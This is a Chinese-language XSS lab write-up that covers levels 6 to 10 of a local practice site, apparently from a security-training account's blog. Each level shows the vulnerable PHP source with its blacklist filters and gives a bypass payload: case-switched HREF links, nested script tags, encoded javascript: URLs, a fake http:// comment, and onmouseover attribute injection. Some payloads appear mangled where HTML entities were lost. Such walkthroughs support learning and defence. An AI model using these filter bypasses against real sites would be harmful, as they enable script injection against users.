其他

简单代码审计带你基础入门XSS(二)

2018-02-06 没胡萝北吃的浅安 合天智汇


第六关:

 

http://127.0.0.1/xss/level6.php?keyword=break it out!


源代码:


<?php

ini_set("display_errors", 0);

$str = $_GET["keyword"];

$str2=str_replace("<script","<scr_ipt",$str);

$str3=str_replace("on","o_n",$str2);

$str4=str_replace("src","sr_c",$str3);

$str5=str_replace("data","da_ta",$str4);

$str6=str_replace("href","hr_ef",$str5);

echo "<h2>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>


 

分析:

这里跟第五关一个,同样使用了str_replace()函数过滤,这关又多了


$str5=str_replace("data","da_ta",$str4); //匹配data替换成da_ta


$str6=str_replace("href","hr_ef",$str5); //匹配href 替换成 hr_ef


但是同时少去了strtolower函数(),此函数是把所有字符转换成小写。这里并没有使用此函数,因此可以使用大小写绕过。

 

故Payload : "><A HREF="javascript:alert()">QIANAN</A>

 

点击超连接。触发XSS,如下图


第七关:

http://127.0.0.1/xss/level7.php?keyword=move up!


源代码:


<?php

ini_set("display_errors", 0);

$str =strtolower( $_GET["keyword"]);

$str2=str_replace("script","",$str);

$str3=str_replace("on","",$str2);

$str4=str_replace("src","",$str3);

$str5=str_replace("data","",$str4);

$str6=str_replace("href","",$str5);

echo "<h2>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>


 

分析:

这关的php代码使用了strtolower函数(),但是与第六关不同的是,第六关会把匹配的字符串转换成另一个字符串,而第七关的代码是直接把匹配到的字符串替换为“”(空)


例:

$str2=str_replace("script","",$str); 

Str_replace()函数匹配到script就替换成空,可以写成scrscripttipt,匹配掉中间的script字符串。


还剩下一个script。

 

故payload:”><scrscriptipt>alert(/QIANA/)</scrscriptipt>


第八关:

http://127.0.0.1/xss/level8.php?keyword=nice try!


源代码:


<?php

ini_set("display_errors", 0);

$str = strtolower($_GET["keyword"]);

$str2=str_replace("script","scr_ipt",$str);

$str3=str_replace("on","o_n",$str2);

$str4=str_replace("src","sr_c",$str3);

$str5=str_replace("data","da_ta",$str4);

$str6=str_replace("href","hr_ef",$str5);

$str7=str_replace('"','"',$str6);

echo '<center>

<form action=level8.php method=GET>

<input name=keyword  value="'.htmlspecialchars($str).'">

<input type=submit name=submit value=添加友情链接 />


 

分析:

这一关把结合了第六关跟第七关,strtolower()函数检测大小写,str_replace()函数匹配成另一个字符串。


又加了一段代码


$str7=str_replace('"','"',$str6); //匹配”替换成"


最后htmlspecialchars()函数把<>转换成HTML实体,使之无法闭合input标签。最后点击链接。


$str2=str_replace("script","scr_ipt",$str);


这里代码匹配script替换成scr_ipt,但是最后变量$str输出。可以使用HTML字符实体来进行绕过。

 

使用payload:javascript:alert(1),这里替换的scrip。


只要对script中任何一个字母进行编码,使之匹配条件不成立。添加友情连接。然后点击友情连接触发XSS


注:

字符实体是用一个编号写入HTML代码中来代替一个字符,


在使用浏览器访问网页时会将这个编号解析还原为字符,


但是代码使用了htmlspecialchars()函数,不会还原。


有兴趣的小伙伴可以在源码去掉htmlspecialchars()函数看看浏览器上面的效果。

 

 

第九关:

http://127.0.0.1/xss/level9.php?keyword=not bad!


源代码:


<?php

ini_set("display_errors", 0);

$str = strtolower($_GET["keyword"]);

$str2=str_replace("script","scr_ipt",$str);

$str3=str_replace("on","o_n",$str2);

$str4=str_replace("src","sr_c",$str3);

$str5=str_replace("data","da_ta",$str4);

$str6=str_replace("href","hr_ef",$str5);

$str7=str_replace('"','"',$str6);

echo '<center>

<form action=level9.php method=GET>

<input name=keyword  value="'.htmlspecialchars($str).'">

<input type=submit name=submit value=添加友情链接 />

</form>

</center>';

?>

<?php

if(false===strpos($str7,'http://'))

{

  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';

        }

else

{

  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';

}

?>


 

分析:


这关在第八关的原基础上添加了一个if判断。使


用函数strpost()函数判断,变量$str7中如果没有出现’http://’,比较值类型为 false。


条件成立,不执行else语句,所以如果想绕过。


在payload必须有’http://’,使之条件不成立。执行else语句。

 

故payload:javascript:alert(1)/*http://www.07v8.com*/ 


在第八关原有的payload上添加一条注释,绕过成功。


第十关:

http://127.0.0.1/xss/level10.php?keyword=well done!


打开第十关什么都没有? 


直接审查元素,发现一个表单有三个隐藏的标签。逐个的把type修改为text。然后回车。


测试是否要是有用的参数。


测试了t_link参数,回车后value没值。


说明失败了,在测试t_history,同样。



测试参数t_sort,发现可以插入,看源代码。



源代码:


<?php

ini_set("display_errors", 0);

$str = $_GET["keyword"];

$str11 = $_GET["t_sort"];

$str22=str_replace(">","",$str11);

$str33=str_replace("<","",$str22);

echo "<h2>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>

<form id=search>

<input name="t_link"  value="'.'" type="hidden">

<input name="t_history"  value="'.'" type="hidden">

<input name="t_sort"  value="'.$str33.'" type="hidden">

</form>

</center>';


分析:

这里只有t_sort参数能接受到str33的值。


Keyword是无用参数。只是简单的使用str_replace()函数过滤了下<>符号。

 

故payload:" onmouseover='alert(/QIANAN/)' ",


然后审查元素修改input的type属性为text。


鼠标移到text文本框触发XSS (也可以使用onclick事件)



看不过瘾?合天2017年度干货精华请点击【精华】2017年度合天网安干货集锦

别忘了投稿哟!!!

合天公众号开启原创投稿啦!!!

大家有好的技术原创文章。

欢迎投稿至邮箱:edu@heetian.com

合天会根据文章的时效、新颖、文笔、实用等多方面评判给予100元-500元不等的稿费哟。

有才能的你快来投稿吧!

重金悬赏 | 合天原创投稿等你来!

◀◀◀ 长按二维码关注我们

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存